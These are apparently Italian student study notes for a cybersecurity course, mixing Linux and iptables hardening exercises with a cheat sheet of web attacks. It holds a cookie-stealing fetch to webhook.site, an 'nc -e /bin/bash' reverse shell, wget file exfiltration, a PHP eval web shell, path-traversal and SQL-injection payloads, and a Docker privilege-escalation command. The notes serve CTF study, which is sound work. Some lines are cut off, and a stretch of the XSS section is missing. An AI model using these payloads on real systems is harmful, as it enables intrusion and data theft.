

Esercizi cysec

All'inizio del codice bash:

```
#!/usr/bin/env bash  
(oppure)  
#!/bin/bash
```

Ripassino di SED

```
sed '/pattern/ d' file #cancella il file  
sed '/pattern/ c\nuova_riga' file #modifica il file con quello che segue c  
  
#altri pattern utili:  
#sostituire l'occorrenza in una riga  
s/vecchio/nuovo  
#sostituire tutte le occorrenze di una riga  
s/vecchio/nuovo/g  
#sostituire vecchio con nuovo solo alla quarta occorrenza della riga  
sed '4s/pattern/sostituto/g' file  
#sostituire vecchio con nuovo solo alla quarta occorrenza di vecchio in ogni riga  
sed 's/pattern/sostituto/4' file
```

Ripassino Permessi

```
SUID = 100 = 4  
GUID = 010 = 2  
Sticky = 001 = 1  
  
r = 100 = 4  
w = 010 = 2
```

$x = 001 = 1$

#e combinati sempre in binario! → SUID + rw + niente + niente = 4600

Ripasso iptables

sudo iptables

-A/F/P INPUT/OUTPUT/FORWARD #(A)inserisce nuova regola, (F)Flusha tutto o (

-i <interfaccia input(es.lo, eth0,wlan0,docker,enp0s3)>

-o <interfaccia output>

-p <protocollo(es.tcp,udp,icmp,esp)>

-m multiport #per specificare più porte

-dport <numero_porta_destinazione (per output)>

-sport <numero_porta_source (per input)>

-s <ip_source>

-d <ip_destination>

-m state --state NEW,ESTABLISHED,INVALID #stati del pacchetto

-j ACCEPT/DROP/REJECT/LOG #azioni all'arrivo di un pacchetto valido (jump)

#nota -j serve sempre tranne che per la policy predefinita!

Altro su iptables

iptables -L #mostra configurazione attuale

iptables-save #per mostrare in output la corrente

iptables-save > file.txt #per salvare

iptables-restore < file.txt #per restaurare

Linux system

ps -aux #controlla i processi

netstat -tulnp #controllo porte aperte

systemctl #controllo systemd - overview del OS
systemctl list-unit-files --state=enabled #controlla i servizi enabled
systemctl start/enable/stop servizio #avvia, avvia al boot o spegne un servizio

journalctl -u <unit> #prende i log da unit

#cosa succede se il processo crasha,
#quale utente lo esegue, variabili d'ambiente → systemctl
#cambi file unit in /etc/systemd/system

#user definito in /etc/shadow (adduser per crearne nuovi)
#gruppi in /etc/group
#password in /etc/shadow (criptate e accessibili solo a root)

#PAM - configurazione pam.d per cambiare requisiti password
#Logs - /var/log

Ripasso JavaScript [utile in XSS]

alert('XSS') #test alert per vedere se funziona js
document.location.href #url posizione
document.cookie #ruba cookie

fetch("https://webhook.site/?" + document.cookie) #esfiltra dati verso sito attacc

#in generale in html si mette tra <script></script> però spesso è blacklistato:
#in questo caso richiamo con attributi evento:

Ripassino PHP

```
<?php ... ?>
```

#funzioni utili:

#echo: stampa a schermo

```
echo "Ciao " . $_GET['name'];
```

```
print("")
```

#funzioni di sistema

```
exec()
```

```
system()
```

```
eval()
```

#metodi superglobali

```
$_GET['x'] #Dato via URL (?x=...)
```

```
$_POST['x'] #Dato via form (metodo POST)
```

#altro

var_dump è una funzione che printa tutto il contenuto di una variabile

```
$y = array("x" => "Hello"); #array associativi
```

```
print($y[x]); #ci si accede così
```

Ripasso Python Requests

```
import requests
```

```
url = 'http://xss1.challs.cyberchallenge.it/report'
```

```
r = requests.get(url)
```

```
print("ricevuto: ", r.status_code)
```

```
print("cookies: ", r.cookies)
```

#Uso un cookie mio in una get

```
cookies = {'my_cookie': 'cookie_value'}
```

```
r = requests.get(url, cookies=cookies)
```

```
print("ricevuto: ", r.status_code)

## POST
p=requests.post('url', data={'key': 'value'})
print("ricevuto: ", p.json())

# METODI DELETE, HEAD, OPTIONS
r = requests.delete('https://httpbin.org/delete')
r = requests.head('https://httpbin.org/get')
r = requests.options('https://httpbin.org/get')
```

Esfiltrare dati

```
nc -e /bin/bash host port #reverse shell (mi ci connetto con nc)
wget --post-file <file> http://webhook... #con command injection
--post-data <stringa_dati>
```

▼ WEB SECURITY

▼ Command Injection - PHP Code Injection

- **Command Injection**

```
#codice generalmente PHP che esegue senza sanificazione
#si aggiungono comandi separando con
";" , "\n", operatori logici, &&, ||

#metodi per verificare che ci sia:
sleep(5) #temporizzo per vedere se attende
```

- **PHP Code Injection**

```
#Metodi:
```

```
#inclusione file infetto caricato da me
#(es. logs con errore voluto con un errore voluto <?php ... ?>
include 'path/to/file';

#Può capitare che posso inserire direttamente il codice
<?php eval($_GET['c']); ?>
#Per attivarla è sufficiente visitare il sito passandogli c come arg
https://link/applicazione.php?c=phpinfo();
```

▼ File Disclosure - Path Traversal - Server Side Request Forgery (SSRF)

- **File Disclosure con path traversal**

```
#Funzione PHP open($url) #in sql injection
open($input + '/file') #rubiamo un file pubblico

#Con curl - sempre passando con php il valore dello static file
curl http://link/static.php?static_file=../../../../../etc/passwd
```

- **SSRF**

Per trovare un SSRF

- cerco URL sospetti
- A questo punto devi provare ad inserire hostnames interni come **"localhost"** o **"192.168.1.1"** o **"10.0.0.1"** e così via esaminando la risposta.

```
https://localhost/filecercato #questo inserito in input al server viene letto
#alternativamente provo
# 192.168.1.1
# 10.0.0.1
```

▼ SQL Injection

- **SQL Injection** (normale)

- Per riconoscerla provo caratteri speciali ' \ " ` (backquote, altgr + ')
- se crasha →

```
" or 1=1 -- '
```

```
# 1=1 per riportare almeno un risultato - ci puoi mettere quello che ti p
```

```
#wget per sqlinjection
```

```
wget "http://target.com/page.php?id=1 UNION SELECT null,version()--"
```

- **UNION SQL Injection**

```
#Verifico versione sql per vedere che tipo è (per mysql è:)
```

```
union select 1,2, ..., version()
```

```
#Per conoscere nome colonne e nome table in mysql:
```

```
' union select 1,2,..., table_name from information_schema.tables -- '
```

```
' union select 1,2,table_name, column_name from information_schema
```

```
#Nota: entrambe le query devono avere lo stesso numero di colonne e
```

- **Blind SQL Injection**

- No output completo della query, ma solo informazioni sul fatto che sia abbia avuto successo o sia fallita.
- (SELECT 1 WHERE 1=1)='1 per verificare che funzioni il true/false (dovrebbe restituire true)
- Se non si conoscono i caratteri specifici che possono comparire nel dato da ricostruire, può essere utile istruire il database a codificarlo in formato esadecimale. In questo modo il numero di caratteri da testare si riduce a sedici, appartenenti all'alfabeto noto composto dalle cifre da 0 a 9 e le prime sei lettere dell'alfabeto.
- The **LIKE** operator is used in a **WHERE** clause to search for a specified pattern in a column. % rappresenta singoli caratteri

```
#esempio si cerca un qualsiasi elemento che cominci con guess
1' AND (SELECT 1 FROM secret WHERE HEX(asecret) LIKE 'guess%')=
#questo si fa a ripetizione con il codice python sotto:
```

```
inj = Inj('http://web-17.challs.olicyber.it')
```

```
dictionary = '0123456789abcdef'
result = ''
```

```
while True:
    for c in dictionary:
        question = f"1' and (select 1 from secret where HEX(asecret) LIKE 'guess%c%')="
        response, error = inj.blind(question)
        print(response)
        if response == 'Success': # We have a match!
            result += c
            break
    else:
        break
print('Result:', result)
```

- **Timed SQL Injection**

olto simile a quella usata per una SQL injection blind: come prima dovremo scrivere un'altra query che faccia da oracolo, ma stavolta successo o fallimento saranno discriminati sulla base del tempo di risposta - inseriamo una sleep che si attiva solo se è vera la where.

```
#in pratica si aggiunge uno sleep che si avvia nel momento in cui
#è vera l'espressione where
1' AND (SELECT SLEEP(1) FROM flags WHERE HEX(flag) LIKE 'guess%')
```

```
#la logica è questa:
from time import time
# Registriamo il tempo di inizio
```



```

start = time()
# Lanciamo la query...
inj.time(...)
# Confrontiamo il tempo finale con quello di partenza
elapsed = time() - start
if elapsed > 1:
    # match!

```

▼ XSS - CSRF

• XSS

Utilizzo javascript in mezzo ad html per fare XSS

```

#Tramite url
http://foo.bar/hello.php?name=<script>alert(1)</script>

#con input altrimenti
 <port>
```

5. Modificare configurazione pam per richiedere caratteristiche minime alle password (min 8 caratteri, maiuscole, minuscole, simboli)

```
#backup e modifica  
sudo cp /etc/pam.d/common-password /etc/pam.d/common-password.b  
sudo nano /etc/pam.d/common-password  
  
#modifico la riga della password che richiede i requisiti  
password requisite pam_pwquality.so retry=3 minlen=8 ucredit=-1 lcredit:  
  
#oppure usando SED '/pam_pwquality\.so/ c\ significa cambia la riga  
#/pam_pwquality.so con quella che segue  
sudo sed '/pam_pwquality\.so/ c\password requisite pam_pwquality.so re'
```

6. Inserisci un password per grub per non permettere l'avvio dell'os con parametri del kernel non standard

```
#creo la password sha  
grub-mkpasswd-pbkdf2  
#modifico il file di configurazione inserendo la password ottenuta  
sudo nano /etc/grub.d/40_custom #40_custom per modificare il grub!  
#inserisco in NANO  
set superusers="admin"
```

```
password_pbkdf2 admin <password_di_prima>
```

```
#faccio update del grub  
sudo update-grub
```

7. Rendi la cartella /var/log leggibile solo da root

```
sudo chown root /var/log  
sudo chmod 400 /var/log  
  
#verifico  
ls -l /var/log
```

8. Configura utente per poter fare cat dei logs ma non essere amministratore

```
#modifico sudoers  
sudo visudo  
#aggiungo o modifico  
cysec ALL=(root) NOPASSWD: /bin/cat /var/log/*
```

9. Trova tutti i processi che hanno un file descriptor aperto dentro la cartella /var/log

```
#uso il comando lsof ricorsivamente (+D)  
sudo lsof +D /var/log
```

10. Usa Docker per effettuare una privilege escalation

```
#suggerito da chat *non ho potuto farlo su vm*  
docker run -v /:/mnt --rm -it debian chroot /mnt  
# in pratica avvia una shell interattiva (-it):  
# monta il filesystem dell'host / in docker su /mnt  
# usando debian come immagine di base  
# e cambiando la radice del filesystem in /mnt  
# Così l'utente base può fare quello che gli pare!
```

11. Cerca se ci sono directory/file scrivibili da tutti gli utenti in home

```
# -type d cerca e directories
# -o=w indica il permesso che cerco
find /home -type d -perm -222

#per i file sarebbe
find /home -type f -perm -222
```

12. Crea un utente la cui password scade ogni giorno

```
#uso useradd e passwd per cambiare creare e cambiare utente, poi
#chage per cambiare le impostazioni della password
sudo useradd -m paperino
sudo passwd paperino
sudo chage -M 1 paperino
```

13. Imposta iptables per permettere l'accesso alla macchina solo via SSH (TCP port 22)

```
#flusho tutta la configurazione precedente
sudo iptables -F INPUT
sudo iptables -F OUTPUT
sudo iptables -F FORWARD

#setto policy di base per droppare tutto
sudo iptables -P INPUT DROP
sudo iptables -P OUTPUT DROP
sudo iptables -P FORWARD DROP

#aggiungo policy richieste
sudo iptables -A INPUT -p tcp -dport 22 -m state --state NEW,ESTABLISHED
sudo iptables -A OUTPUT -p tcp -sport 22 -m state --state NEW,ESTABLISHED
```

```
#aggiungo anche loopback per completezza
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A OUTPUT -o lo -j ACCEPT
```

14. Imposta iptables per permettere l'accesso alla macchina solo da ssh (tcp porta 22) con un ip 1.2.3.4 e dalla macchina ad un webserver qualunque (porte tcp 80,443)

```
#flusho tutto
sudo iptables -F INPUT
sudo iptables -F OUTPUT
sudo iptables -F FORWARD

#aggiorno la policy per droppare
sudo iptables -P INPUT DROP
sudo iptables -P OUTPUT DROP
sudo iptables -P FORWARD DROP

#aggiungo la policy per il lo
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A OUTPUT -o lo -j ACCEPT

#aggiungo le mie policy
sudo iptables -A INPUT -p tcp --dport 22 -s 1.2.3.4 -m state --state NEW,
sudo iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED
sudo iptables -A OUTPUT -p tcp -m multiport --dport 80,443 -m state --s
sudo iptables -A INPUT -p tcp -m multiport --sport 80,443 -m state --stat
```

Nota che per bloccare la navigazione internet degli utenti è sufficiente cancellare NEW in output su 80,433 perchè a noi serve solo ESTABLISHED per far funzionare il server